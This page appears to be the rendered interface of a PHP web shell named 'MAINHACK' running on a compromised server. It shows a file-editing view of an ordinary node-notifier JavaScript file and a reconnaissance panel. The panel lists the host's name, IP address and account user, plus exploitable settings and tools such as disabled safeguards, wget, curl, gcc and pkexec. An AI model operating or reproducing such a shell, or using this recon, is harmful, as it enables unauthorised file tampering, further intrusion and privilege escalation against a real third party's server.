[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: notificationcenter.js
/** * A Node.js wrapper for terminal-notify (with fallback). */ var utils = require('../lib/utils'); var Growl = require('./growl'); var path = require('path'); var notifier = path.join( __dirname, '../vendor/mac.noindex/terminal-notifier.app/Contents/MacOS/terminal-notifier' ); var EventEmitter = require('events').EventEmitter; var util = require('util'); var errorMessageOsX = 'You need Mac OS X 10.8 or above to use NotificationCenter,' + ' or use Growl fallback with constructor option {withFallback: true}.'; module.exports = NotificationCenter; function NotificationCenter(options) { options = utils.clone(options || {}); if (!(this instanceof NotificationCenter)) { return new NotificationCenter(options); } this.options = options; EventEmitter.call(this); } util.inherits(NotificationCenter, EventEmitter); var activeId = null; function noop() {} function notifyRaw(options, callback) { var fallbackNotifier; var id = identificator(); options = utils.clone(options || {}); activeId = id; if (typeof options === 'string') { options = { title: 'node-notifier', message: options }; } callback = callback || noop; if (typeof callback !== 'function') { throw new TypeError( 'The second argument must be a function callback. You have passed ' + typeof fn ); } var actionJackedCallback = utils.actionJackerDecorator( this, options, callback, function(data) { if (activeId !== id) return false; if (data === 'activate') { return 'click'; } if (data === 'timeout') { return 'timeout'; } if (data === 'replied') { return 'replied'; } return false; } ); options = utils.mapToMac(options); if (!options.message && !options.group && !options.list && !options.remove) { callback(new Error('Message, group, remove or list property is required.')); return this; } var argsList = utils.constructArgumentList(options); if (utils.isMountainLion()) { utils.fileCommandJson( this.options.customPath || notifier, argsList, actionJackedCallback ); return this; } if (fallbackNotifier || !!this.options.withFallback) { fallbackNotifier = fallbackNotifier || new Growl(this.options); return fallbackNotifier.notify(options, callback); } callback(new Error(errorMessageOsX)); return this; } Object.defineProperty(NotificationCenter.prototype, 'notify', { get: function() { if (!this._notify) this._notify = notifyRaw.bind(this); return this._notify; } }); function identificator() { return { _ref: 'val' }; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002